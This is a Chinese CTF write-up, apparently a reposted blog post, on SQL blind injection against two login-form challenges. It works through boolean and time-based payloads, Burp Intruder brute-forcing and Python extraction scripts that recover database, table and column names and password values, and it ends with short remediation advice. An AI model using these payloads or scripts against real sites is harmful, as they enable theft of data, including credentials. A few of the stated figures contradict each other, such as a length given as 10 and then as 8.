SQL注入盲注利用方法

靠 真大佬写的 太太太qiang 辽 !!!

前言

最近做了些基于布尔盲注和基于时间盲注的CTF题,掌握了CTF题中SQL盲注的三种解法,收获很大,于是结合题目分享一下。

BASE-Blind-Inject

题目信息

题干分析

第一次走进误区,刚看到这道题的时候

看到了登录框,第一印象应该就是简单的闭合注入,测试后发现是双引号闭合,所以构造payload注入

" or 1=1# 


果然注入进去了。虽然没有出现flag,但给予了提示“flag就在数据库里面”,然后又想到题目标题,翻译成“简单盲注”
并且flag在数据库?有页面返回?所以应该想到这是SQL注入的一种注入方式叫做布尔盲注,并且是POST型。

知识了解

布尔盲注

  1. 布尔盲注利用前提
    页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
  2. 布尔盲注利用
  3. 该语句判断数据库个数,当数据库个数大于n页面显示正常
    (select count(schema_name) from information_schema.schemata)> n 
  4. 该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
    (select length(schema_name) from information_schema.schemata limit 0,1)> n 
  5. 该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
    (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n 
    相关函数
  6. Length()函数 返回字符串的长度
  7. substr()截取字符串,偏移是从1开始,而不是0开始
  8. ascii()返回字符的ascii码
  9. count(column_name)函数返回指定列的值的数目(NULL 不计入)

开始测试

  1. 测闭合方式
    输入' or 1=1#不回显
    输入" or 1=1#正常
    可判定是双引号闭合。
  2. 测长度
    判断数据库名的长度
    输入" or (length(database())=10)--+正常
    说明长度为8。
  3. 测字符
    用substr()截取字符串的每个字符,ascii()将字符串转换成其ASCII码
    输入" or (ascii(substr(database(),1,1))>97)--+正常

盲注开始

费心劳神-手工盲注

利用二分法进行手工盲注。手工盲注可以使用BurpSuite,构造payload在Repeater点击Go进行发包,这样会比较便捷。
1.猜库
用到获取当前数据库函数database()

  • 猜库长

    " or (length(database())=10)--+正常 


    所以数据库长度为10

  • 猜库名
    第一个字符

    " or (ascii(substr(database(),1,1))>32)--+正常
    " or (ascii(substr(database(),1,1))>128)--+不回显 " or (ascii(substr(database(),1,1))>80)--+正常 " or (ascii(substr(database(),1,1))>104)--+不回显 " or (ascii(substr(database(),1,1))>92)--+正常 " or (ascii(substr(database(),1,1))>98)--+正常 " or (ascii(substr(database(),1,1))>101)--+不回显 " or (ascii(substr(database(),1,1))>100)--+不回显 " or (ascii(substr(database(),1,1))>99)--+不回显 



    说明数据库名的第一个字符ASCII码为99,即“c”。
    第二个字符

    " or (ascii(substr(database(),2,1))>32)--+正常
    " or (ascii(substr(database(),2,1))>128)--+不回显 " or (ascii(substr(database(),2,1))>80)--+正常 " or (ascii(substr(database(),2,1))>104)--+不回显 " or (ascii(substr(database(),2,1))>92)--+正常 " or (ascii(substr(database(),2,1))>98)--+正常 " or (ascii(substr(database(),2,1))>101)--+正常 " or (ascii(substr(database(),2,1))>102)--+正常 " or (ascii(substr(database(),2,1))>103)--+正常 

    说明数据库名的第二个字符ASCII码为104,即“h”。
    依次猜解,最终得到数据库名:challenges

  • 2.猜表

    • 猜表长

      " or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常 

      所以数据表长度为6

    • 猜表名
      第一个字符

      " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32)--+正常
      " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128)--+不回显 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116)--+正常 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122)--+不回显 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回显 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回显 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118)--+不回显 " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117)--+不回显 

      说明数据表名的第一个字符ASCII码为117,即“u”。
      依次猜解,最终得到数据表名:user_2

    3.猜字段

    • 猜字段长

      " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常 
      " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常 
      " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常 

      所以user_2表的数据字段长度分别为2、8、8

    • 猜字段名
      第一个字段

      " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>32)--+正常
      " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>128)--+不回显 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>80)--+正常 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>104)--+正常 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>116)--+不回显 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>110)--+不回显 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>107)--+不回显 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>106)--+不回显 " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>105)--+不回显 

      所以user_2表的第一个字段的字段名的第一个字符ASCII码为105,即“i”。
      猜第二个字段把limit 0,1改为limit 1,1
      猜第三个字段把limit 0,1改为limit 2,1
      依次猜解,最终得到user_2表的3个字段名分别为:id username password

    3.猜数据

    • 猜数据长

      " or (length((select password from challenges.user_2 limit 1,1))=32)--+正常 

      所以user_2表的password字段的第2条数据的数据长度为32,这个应该就是flag那条数据了

    • 猜数据值

      " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>32)--+正常
      " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>128)--+不回显 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>80)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>104)--+不回显 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>92)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>98)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>101)--+正常 " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>102)--+不回显 

      说明user_2表的password字段的第2条数据(limit 1,1意思是从1开始取(即第二条数据),取一条数据。)的数据值的第一个字符ASCII码为102,即“f”。
      依次猜解,最终得到flag

    简便之法-BurpSuite半自动化盲注

    一步一步的利用二分法进行手工盲注,是不是有点麻烦了呢?能不能让BurpSuite自己进行按顺序进行一个一个猜解呢?
    于是用到了BurpSuite的一个功能模块Intruder,构造payload设置变量进行爆破,然后根据返回长度进行排序整理。
    1、爆库
    payload

    " or (ascii(substr(database(),§1§,1))=§32§)--+ 
    1. 先随便输入用户名和密码,然后BurpSuite抓包,发送到Intruder

  • 设置Positions

  • 设置两个变量的爆破类型

  • 开始爆破,根据返回长度确定爆破结果

  • 排序、转换字符
    payload2那一列即是数据库名每个字符的ASCII码,按照payload1进行排序,再转换成字符,得到数据库名

  • 2、爆表
    payload

    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+ 
    1. 与爆库的不同之处就是payload和结果长度,改一下

  • 开始爆破,根据返回长度确定爆破结果

  • 排序、转换字符

  • 3、爆字段
    payload

    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1),§1§,1))=§32§)--+ 
    1. 与爆库的不同之处就是payload和结果长度,改一下(结果长度改为8)
    2. 开始爆破,根据返回长度确定爆破结果

  • 排序、转换字符

  • 3、爆数据
    payload

    " or (ascii(substr((select password from challenges.user_2 limit 1,1),§1§,1))=§32§)--+ 
    1. 与爆库的不同之处就是payload和结果长度,改一下(结果长度改为32)
    2. 开始爆破,根据返回长度确定爆破结果

  • 排序、转换字符

  • 提高效率
    为了省去转换字符并减少爆破时间,可以选择不使用ascii()函数,第二个变量的爆破类型改成Simple list
    如:爆库
    payload

    " or (substr(database(),§1§,1)='§a§')--+ 


    爆破结果:

    发现没有区分大小写,所以再通过每个字符的ascii码是否大于等于97判断每个字符是大写还是小写,小于97即大写。
    这样就提高了一点效率。

    神来之笔-脚本盲注

    使用BurpSuite半自动化盲注,看似可以。但是不是有一种方法,可以不用其他操作,轻松得到数据库的信息呢?于是想到使用脚本进行盲注来提高效率。布尔盲注脚本如下:

    import requests
    

    chars=‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+’
    postdata={
    ‘username’:’" or 1=1#’,
    ‘password’:‘admin’
    }
    url=“http://35.201.188.231:9000/challenge-02/post.php”
    r=requests.post(url,data=postdata)
    length=len(r.text)

    def name(url,length):
    dbname=’’
    print(“数据库名:”,dbname)
    payload=’" or ascii(substr(database(),{0},1))={1} #’
    #print(“数据表名:”,dbname)
    #payload=’"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#’
    #print(“字段名:”,dbname)
    #payload=’“or ascii(substr((select column_name from information_schema.columns where table_name=‘user_2’ and table_schema=database() limit 1,1),{0},1))={1}#’
    #print(“数据:”,dbname)
    #payload=’” or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#’
    for i in range(1,40):
    char=’’
    for x in chars:
    char_ascii=ord(x)
    payloads=payload.format(i,char_ascii)
    postdata={
    ‘username’:payloads,
    ‘password’:‘admin’
    }
    r=requests.post(url,data=postdata)
    if len(r.text) == length:
    dbname+=x
    print(dbname)
    char=x
    break
    if char==’’:
    break
    return dbname
    name(url,length)

    测试一下

    如果传参方式是get传参,只需在url后添加? 参数名=,再将requests.post改成requests.get即可。

    BASE-TIME-BLIND-INJECT

    题目信息

    题干分析

    第二次走进误区,刚看到这道题的时候

    从题目标题看出是时间盲注。试了单引号闭合和和双引号闭合,结果并没有什么用,于是查看了一下源码,发现关键点了。竟然有源码可以下载!

    查看下载的源码,发现是 '" 闭合,并且传参为POST传参。

    知识了解

    时间盲注

    1. 时间盲注利用前提
      页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
    2. 时间盲注利用
    3. 该语句判断数据库个数,当数据库个数等于n页面返回延迟5秒
      if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1) 
    4. 该语句判断数据库内第一个数据库名有多少字符,字符个数等于n页面返回延迟5秒
      if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1) 
    5. 该语句判断第一个库第一个字符是什么,ascii值等于n页面返回延迟5秒
      if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1) 
      相关函数
    6. Length()函数 返回字符串的长度
    7. substr()截取字符串
    8. ascii()返回字符的ascii码
    9. sleep(n):将程序挂起一段时间 n为n秒
    10. if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
    11. count(column_name)函数返回指定列的值的数目(NULL 不计入)

    开始测试

    1. 测试语句
      输入'" or if(1=1,sleep(5),1)#延迟5秒
      输入'" or if(1=2,sleep(5),1)#正常
    2. 测长度
      判断数据库名的长度
      输入'" or if((length(database())=10),sleep(5),1)--+延迟5秒
      说明长度为8。
    3. 测字符
      用substr()截取字符串的每个字符,ascii()将字符串转换成其ASCII码
      输入'" or if((ascii(substr(database(),1,1))>97),sleep(5),1)--+延迟5秒

    盲注开始

    费心劳神-手工盲注

    同样利用二分法进行手工盲注,与布尔盲注不同之处是页面上没有回显,所以使用了if()函数和sleep()函数,根据返回时间判断。同样可以使用BurpSuite进行测试。
    1.猜库
    用到获取当前数据库函数database()

    • 猜库长

      '" or if((length(database())=10),sleep(5),1)--+延迟5秒 


      所以数据库长度为10

  • 猜库名
    第一个字符

    '" or if((ascii(substr(database(),1,1))>32),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr(database(),1,1))>128),sleep(5),1)--+正常
    '" or if((ascii(substr(database(),1,1))>80),sleep(5),1)--+延迟5秒 '" or if((ascii(substr(database(),1,1))>104),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>92),sleep(5),1)--+延迟5秒 '" or if((ascii(substr(database(),1,1))>98),sleep(5),1)--+延迟5秒 '" or if((ascii(substr(database(),1,1))>101),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>100),sleep(5),1)--+正常 '" or if((ascii(substr(database(),1,1))>99),sleep(5),1)--+正常 



    说明数据库名的第一个字符ASCII码为99,即“c”。
    依次猜解,最终得到数据库名:challenges

  • 2.猜表

    • 猜表长

      '" or if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延迟5秒 

      所以数据表长度为6

    • 猜表名
      第一个字符

      '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延迟5秒
      '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常
      '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延迟5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延迟5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+延迟5秒 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118),sleep(5),1)--+正常 '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117),sleep(5),1)--+正常 

      说明数据表名的第一个字符ASCII码为117,即“u”。
      依次猜解,最终得到数据表名:user_3

    3.猜字段

    • 猜字段长

      '" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1))=2),sleep(5),1)--+延迟5秒 
      '" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 1,1))=8),sleep(5),1)--+延迟5秒 
      '" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1))=8),sleep(5),1)--+延迟5秒 

      所以user_3表的数据字段长度分别为2、8、8

    • 猜字段名
      第一个字段

      '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延迟5秒
      '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常
      '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延迟5秒 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延迟5秒 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>110),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>107),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>106),sleep(5),1)--+正常 '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>105),sleep(5),1)--+正常 

      所以user_3表的第一个字段的字段名的第一个字符ASCII码为105,即“i”。
      依次猜解,最终得到user_3表的3个字段名分别为:id username password

    3.猜数据

    • 猜数据长

      '" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延迟5秒 

      所以user_3表的password字段的第2条数据的数据长度为25,这个应该就是flag那条数据了

    • 猜数据值

      '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>32),sleep(5),1)--+延迟5秒
      '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>128),sleep(5),1)--+正常
      '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>80),sleep(5),1)--+延迟5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>104),sleep(5),1)--+正常 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>92),sleep(5),1)--+延迟5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>98),sleep(5),1)--+延迟5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>101),sleep(5),1)--+延迟5秒 '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>102),sleep(5),1)--+正常 

      说明user_3表的password字段的第2条数据(limit 1,1意思是从1开始取(即第二条数据),取一条数据。)的数据值的第一个字符ASCII码为102,即“f”。
      依次猜解,最终得到flag

    简便之法-BurpSuite半自动化盲注

    和布尔盲注一样,时间盲注是不是也可以进行构造payload,并设置变量进行爆破呢?发现与布尔盲注不同之处就是使用了sleep()和if()。并且对爆破结果要根据返回时间进行整理排序。
    1、爆库
    payload

    " or if((ascii(substr(database(),§1§,1))=§32§),sleep(5),1)--+ 
    1. 先随便输入用户名和密码,然后BurpSuite抓包,发送到Intruder

  • 设置Positions

  • 设置两个变量的爆破类型

  • 开始爆破,根据返回时间确定爆破结果


    凡是Timer>10000的payload2即为数据库名的每个字符的ASCII

  • 排序、转换字符
    Timer>10000的payload2每个字符的ASCII码,按照payload1进行排序,再转换成字符,得到数据库名

  • 2、爆表
    payload

    " or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§),sleep(5),1)--+ 

    与爆库的不同之处就是payload和结果长度(结果长度由10改为6)。然后开始爆破,根据返回时间确定爆破结果。
    最后排序、转换字符。最后得到表名为:user_3

    3、爆字段
    payload

    " or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1),§1§,1))=§32§),sleep(5),1)--+ 

    上述payload爆第三个字段,与爆库的不同之处就是payload和结果长度,改一下(结果长度改为8)。
    然后开始爆破,根据返回时间确定爆破结果。最后排序、转换字符,得到第三个字段为:password

    3、爆数据
    payload

    " or if((ascii(substr((select password from challenges.user_3 limit 1,1),§1§,1))=§32§),sleep(5),1)--+ 

    与爆库的不同之处就是payload和结果长度,改一下(结果长度改为25)。然后开始爆破,根据返回时间确定爆破结果。
    最后排序、转换字符,得到最终flag。
    提高效率
    当然时间盲注也可以用布尔盲注的那种方法提高效率,即选择不使用ascii()函数。与布尔盲注不同之处是使用了sleep()函数和if(expr1,expr2,expr3)函数。

    神来之笔-脚本盲注

    和布尔盲注一样,是不是也可以写一个时间盲注脚本来提高效率呢?于是想到用python里的time.time()函数,返回当前时间的时间戳。记录提交和返回过程的时间差,然后进行判断。时间盲注脚本如下:

    import requests
    import time
    import string import sys chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+' url="http://35.201.188.231:9000/challenge-03/post.php" dbname='' payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #" print("数据库名:",dbname) #payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #" #print("数据表名:",dbname) #payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #" #print("字段名:",dbname) #payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #" #print("数据:",dbname) for i in range(1,40): char='' for x in chars: char_ascii=ord(x) payloads=payload.format(i,char_ascii) start=time.time() postdata={ 'username':payloads, 'password':'admin' } r=requests.post(url,data=postdata) if (time.time() - start)>=5: dbname+=x print(dbname) char=x break if char=='': break 

    测试一下

    同样如果传参方式是get传参,只需在url后添加? 参数名=,再将requests.post改成requests.get即可。

    SQL盲注的利用

    在一些SQL注入中往往有用到SQL盲注的方法,进行猜解数据库信息。比如在order by排序注入中,利用基于时间盲注的方法。

    select * from users order by id desc; 

    因为desc是可控的传参值。所以可进行注入
    基于时间盲注

    ?order=if(1=1,1,sleep(5)) 正常响应时间 ?order=if(1=2,1,sleep(5)) 延迟5

    SQL盲注漏洞的修复方案

    SQL盲注的危害大家也都看到了,但是我们该如何防止这种情况的发生呢?
    简单来讲,就是永远不要相信用户的输入。所以要对请求进行过滤,对参数进行验证,对非法字符进行拦截替换,清理用户输入的危险字符,保证sql能够在数据库中正确的编译和执行。这便是解决SQL盲注的简单思路。

    当然,还有另一种方法,就是不使用SQL拼接语句。先在后台进行SQL查询,然后将查询结果与用户输入进行比对。

    总结

    从两道SQL盲注的CTF题中,明白SQL盲注的三种解法,以及SQL盲注的危害和利用。同时也想到一些修复方案。
    总之收获很大。但本人文采有限,操作生疏。若有任何不当之处,还望各位师傅指出。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值